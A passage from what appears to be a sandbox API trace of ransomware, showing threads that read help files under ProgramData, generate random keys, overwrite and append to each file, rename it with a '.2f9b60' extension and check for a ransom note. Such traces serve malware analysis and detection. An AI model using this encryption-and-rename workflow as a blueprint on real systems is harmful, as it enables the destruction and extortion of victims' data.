_Format="%c%c" | out: _Dest="4b") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c2110, _Format="%c%c" | out: _Dest="e8") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c2112, _Format="%c%c" | out: _Dest="e5") returned 2 [0087.228] sprintf (in: _Dest=0x1b7c2114, _Format="%c%c" | out: _Dest="07") returned 2 [0087.228] sprintf (in: _Dest=0x1b7c2116, _Format="%c%c" | out: _Dest="e3") returned 2 [0087.228] RtlInitAnsiString (in: DestinationString=0x2096f9e8, SourceString="efd7ad4b114b8f99df215d58e0f7fcacde74d79240e036e3f062bcad37a3188261a435653619e44be8e507e3" | out: DestinationString="efd7ad4b114b8f99df215d58e0f7fcacde74d79240e036e3f062bcad37a3188261a435653619e44be8e507e3") [0087.228] RtlAnsiStringToUnicodeString (in: DestinationString=0x2096f9b8, SourceString="efd7ad4b114b8f99df215d58e0f7fcacde74d79240e036e3f062bcad37a3188261a435653619e44be8e507e3", AllocateDestinationString=1 | out: DestinationString="efd7ad4b114b8f99df215d58e0f7fcacde74d79240e036e3f062bcad37a3188261a435653619e44be8e507e3") returned 0x0 [0087.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106640 [0087.228] wcscat (in: _Dest=0x1b79e070, _Source="efd7ad4b114b8f99df215d" | out: _Dest="C:\\ProgramData\\Microsoft Help\\efd7ad4b114b8f99df215d") returned="C:\\ProgramData\\Microsoft Help\\efd7ad4b114b8f99df215d" [0087.228] wcscat (in: _Dest=0x1b79e070, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\efd7ad4b114b8f99df215d.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\efd7ad4b114b8f99df215d.2f9b60" [0087.228] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\efd7ad4b114b8f99df215d.2f9b60", NtPathName=0x2096f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\efd7ad4b114b8f99df215d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad840 [0087.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 [0087.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.230] NtQueryInformationFile (in: FileHandle=0x970, IoStatusBlock=0x2096f9f8, FileInformation=0x2096fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2096f9f8, FileInformation=0x2096fa08) returned 0x0 [0087.230] NtSetInformationFile (FileHandle=0x970, IoStatusBlock=0x2096f9f8, FileInformation=0x2096fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0087.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106640) returned 1 [0087.231] FlushFileBuffers (hFile=0x970) returned 1 [0087.232] CloseHandle (hObject=0x970) returned 1 [0087.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c20c0 [0087.232] wcscpy (in: _Dest=0x1b7c20c0, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.232] wcscat (in: _Dest=0x1b7c20c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.232] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c20c0) returned 1 [0087.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 Thread: id = 219 os_tid = 0xc9c [0087.235] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn")) returned 0x2022 [0087.236] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.236] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x970 [0087.236] GetFileSizeEx (in: hFile=0x970, lpFileSize=0x20a2fc40 | out: lpFileSize=0x20a2fc40*=326) returned 1 [0087.236] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x142, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.236] ReadFile (in: hFile=0x970, lpBuffer=0x20a2fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20a2fc08, lpOverlapped=0x0 | out: lpBuffer=0x20a2fbc0*, lpNumberOfBytesRead=0x20a2fc08*=0x4, lpOverlapped=0x0) returned 1 [0087.237] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0087.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0087.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0087.237] NtQuerySystemTime (in: CurrentTime=0x20a2fb00 | out: CurrentTime=0x20a2fb00*=132462176931238000) returned 0x0 [0087.237] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x55498a66 [0087.237] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x4ba887e [0087.237] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x2718d24a [0087.237] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x4dbf8e1e [0087.237] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x888019d [0087.237] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x51bb0f51 [0087.237] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x77963b0a [0087.237] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x666fe2b8 [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x5ba09a3d [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x57416b66 [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x59182939 [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0xa4771f2 [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x298ea6f3 [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x3e296d0c [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x26c2569d [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x5c49d40c [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x7e1d8e4e [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x5b321377 [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x5643590c [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x1806e849 [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x4b3338de [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x34c415d7 [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x1d681ff3 [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x128176d5 [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x4e6e0a2d [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x5578c600 [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x631dbdd5 [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x70bf674e [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x6f43bcdf [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x3854b385 [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0xfd152b9 [0087.238] RtlRandomEx (in: Seed=0x20a2faf0 | out: Seed=0x20a2faf0) returned 0x48c3b5db [0087.244] ReadFile (in: hFile=0x970, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x20a2faf0, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x20a2faf0*=0x146, lpOverlapped=0x0) returned 1 [0087.245] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.245] WriteFile (in: hFile=0x970, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x20a2faf4, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x20a2faf4*=0x146, lpOverlapped=0x0) returned 1 [0087.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0087.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0087.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b380) returned 1 [0087.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0087.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9eeb0 [0087.249] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.249] WriteFile (in: hFile=0x970, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x20a2fc10, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x20a2fc10*=0x11a, lpOverlapped=0x0) returned 1 [0087.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97210 [0087.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e0f0 [0087.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0087.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2f0) returned 1 [0087.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82b2f0 [0087.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0087.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0087.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b3b0) returned 1 [0087.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0087.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858730 [0087.252] sprintf (in: _Dest=0x1b858730, _Format="%c%c" | out: _Dest="c2") returned 2 [0087.252] sprintf (in: _Dest=0x1b858732, _Format="%c%c" | out: _Dest="b5") returned 2 [0087.252] sprintf (in: _Dest=0x1b858734, _Format="%c%c" | out: _Dest="4c") returned 2 [0087.252] sprintf (in: _Dest=0x1b858736, _Format="%c%c" | out: _Dest="74") returned 2 [0087.252] sprintf (in: _Dest=0x1b858738, _Format="%c%c" | out: _Dest="69") returned 2 [0087.252] sprintf (in: _Dest=0x1b85873a, _Format="%c%c" | out: _Dest="91") returned 2 [0087.252] sprintf (in: _Dest=0x1b85873c, _Format="%c%c" | out: _Dest="8f") returned 2 [0087.252] sprintf (in: _Dest=0x1b85873e, _Format="%c%c" | out: _Dest="78") returned 2 [0087.252] sprintf (in: _Dest=0x1b858740, _Format="%c%c" | out: _Dest="67") returned 2 [0087.252] sprintf (in: _Dest=0x1b858742, _Format="%c%c" | out: _Dest="5b") returned 2 [0087.252] sprintf (in: _Dest=0x1b858744, _Format="%c%c" | out: _Dest="14") returned 2 [0087.252] sprintf (in: _Dest=0x1b858746, _Format="%c%c" | out: _Dest="a5") returned 2 [0087.252] sprintf (in: _Dest=0x1b858748, _Format="%c%c" | out: _Dest="ef") returned 2 [0087.252] sprintf (in: _Dest=0x1b85874a, _Format="%c%c" | out: _Dest="04") returned 2 [0087.253] sprintf (in: _Dest=0x1b85874c, _Format="%c%c" | out: _Dest="16") returned 2 [0087.253] sprintf (in: _Dest=0x1b85874e, _Format="%c%c" | out: _Dest="6a") returned 2 [0087.253] sprintf (in: _Dest=0x1b858750, _Format="%c%c" | out: _Dest="5d") returned 2 [0087.253] sprintf (in: _Dest=0x1b858752, _Format="%c%c" | out: _Dest="be") returned 2 [0087.253] sprintf (in: _Dest=0x1b858754, _Format="%c%c" | out: _Dest="92") returned 2 [0087.253] sprintf (in: _Dest=0x1b858756, _Format="%c%c" | out: _Dest="2f") returned 2 [0087.253] sprintf (in: _Dest=0x1b858758, _Format="%c%c" | out: _Dest="6d") returned 2 [0087.253] sprintf (in: _Dest=0x1b85875a, _Format="%c%c" | out: _Dest="5c") returned 2 [0087.253] sprintf (in: _Dest=0x1b85875c, _Format="%c%c" | out: _Dest="8f") returned 2 [0087.253] sprintf (in: _Dest=0x1b85875e, _Format="%c%c" | out: _Dest="4f") returned 2 [0087.253] sprintf (in: _Dest=0x1b858760, _Format="%c%c" | out: _Dest="b0") returned 2 [0087.253] sprintf (in: _Dest=0x1b858762, _Format="%c%c" | out: _Dest="11") returned 2 [0087.253] sprintf (in: _Dest=0x1b858764, _Format="%c%c" | out: _Dest="23") returned 2 [0087.253] sprintf (in: _Dest=0x1b858766, _Format="%c%c" | out: _Dest="a0") returned 2 [0087.253] sprintf (in: _Dest=0x1b858768, _Format="%c%c" | out: _Dest="3b") returned 2 [0087.253] sprintf (in: _Dest=0x1b85876a, _Format="%c%c" | out: _Dest="8e") returned 2 [0087.253] sprintf (in: _Dest=0x1b85876c, _Format="%c%c" | out: _Dest="18") returned 2 [0087.253] sprintf (in: _Dest=0x1b85876e, _Format="%c%c" | out: _Dest="02") returned 2 [0087.253] sprintf (in: _Dest=0x1b858770, _Format="%c%c" | out: _Dest="92") returned 2 [0087.253] sprintf (in: _Dest=0x1b858772, _Format="%c%c" | out: _Dest="db") returned 2 [0087.253] sprintf (in: _Dest=0x1b858774, _Format="%c%c" | out: _Dest="cb") returned 2 [0087.253] sprintf (in: _Dest=0x1b858776, _Format="%c%c" | out: _Dest="e1") returned 2 [0087.253] sprintf (in: _Dest=0x1b858778, _Format="%c%c" | out: _Dest="52") returned 2 [0087.253] sprintf (in: _Dest=0x1b85877a, _Format="%c%c" | out: _Dest="a8") returned 2 [0087.253] sprintf (in: _Dest=0x1b85877c, _Format="%c%c" | out: _Dest="cb") returned 2 [0087.253] sprintf (in: _Dest=0x1b85877e, _Format="%c%c" | out: _Dest="6e") returned 2 [0087.253] RtlInitAnsiString (in: DestinationString=0x20a2fc88, SourceString="c2b54c7469918f78675b14a5ef04166a5dbe922f6d5c8f4fb01123a03b8e180292dbcbe152a8cb6e" | out: DestinationString="c2b54c7469918f78675b14a5ef04166a5dbe922f6d5c8f4fb01123a03b8e180292dbcbe152a8cb6e") [0087.253] RtlAnsiStringToUnicodeString (in: DestinationString=0x20a2fc58, SourceString="c2b54c7469918f78675b14a5ef04166a5dbe922f6d5c8f4fb01123a03b8e180292dbcbe152a8cb6e", AllocateDestinationString=1 | out: DestinationString="c2b54c7469918f78675b14a5ef04166a5dbe922f6d5c8f4fb01123a03b8e180292dbcbe152a8cb6e") returned 0x0 [0087.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b7a5a70 [0087.254] wcscat (in: _Dest=0x1b79e0f0, _Source="c2b54c7469918f78675b" | out: _Dest="C:\\ProgramData\\Microsoft Help\\c2b54c7469918f78675b") returned="C:\\ProgramData\\Microsoft Help\\c2b54c7469918f78675b" [0087.254] wcscat (in: _Dest=0x1b79e0f0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\c2b54c7469918f78675b.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\c2b54c7469918f78675b.2f9b60" [0087.254] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\c2b54c7469918f78675b.2f9b60", NtPathName=0x20a2fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\c2b54c7469918f78675b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad840 [0087.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 [0087.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.256] NtQueryInformationFile (in: FileHandle=0x970, IoStatusBlock=0x20a2fc98, FileInformation=0x20a2fca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20a2fc98, FileInformation=0x20a2fca8) returned 0x0 [0087.256] NtSetInformationFile (FileHandle=0x970, IoStatusBlock=0x20a2fc98, FileInformation=0x20a2fca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0087.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5a70) returned 1 [0087.257] FlushFileBuffers (hFile=0x970) returned 1 [0087.272] CloseHandle (hObject=0x970) returned 1 [0087.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c20c0 [0087.275] wcscpy (in: _Dest=0x1b7c20c0, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.275] wcscat (in: _Dest=0x1b7c20c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.275] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c20c0) returned 1 [0087.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 Thread: id = 220 os_tid = 0xca0 [0087.259] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn")) returned 0x2022 [0087.259] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.259] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0087.259] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x20d0fa00 | out: lpFileSize=0x20d0fa00*=350) returned 1 [0087.259] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x15a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.259] ReadFile (in: hFile=0x96c, lpBuffer=0x20d0f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20d0f9c8, lpOverlapped=0x0 | out: lpBuffer=0x20d0f980*, lpNumberOfBytesRead=0x20d0f9c8*=0x4, lpOverlapped=0x0) returned 1 [0087.260] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b470 [0087.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b410 [0087.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0087.260] NtQuerySystemTime (in: CurrentTime=0x20d0f8c0 | out: CurrentTime=0x20d0f8c0*=132462176931394000) returned 0x0 [0087.260] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x13e7daf8 [0087.260] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x63482ebf [0087.260] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x54a9f3fe [0087.260] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x4b9fc7ca [0087.260] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x3b41ded0 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x26ee4263 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x10f9e2fa [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x4dce7122 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x62bda338 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x458c09aa [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x1051313e [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x7c43488e [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x71158a45 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x4542a981 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x8f46005 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x5ed13f68 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x91857c3 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x6abfd332 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x3666001d [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x4dbddac1 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x503cde0c [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x5bb862e0 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x68ee69bf [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x5b612160 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x3119254 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0xb63bb00 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x4f88e3c7 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x4e17f67f [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x51d7124 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x719d5f00 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x35610028 [0087.261] RtlRandomEx (in: Seed=0x20d0f8b0 | out: Seed=0x20d0f8b0) returned 0x5755ea51 [0087.269] ReadFile (in: hFile=0x96c, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x20d0f8b0, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x20d0f8b0*=0x15e, lpOverlapped=0x0) returned 1 [0087.270] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.270] WriteFile (in: hFile=0x96c, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x20d0f8b4, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x20d0f8b4*=0x15e, lpOverlapped=0x0) returned 1 [0087.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b470 [0087.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0087.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b440) returned 1 [0087.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0087.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97210 [0087.273] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.273] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x20d0f9d0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x20d0f9d0*=0x122, lpOverlapped=0x0) returned 1 [0087.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0087.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e0f0 [0087.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0087.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0087.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9eeb0 [0087.279] RtlAllocateHeap 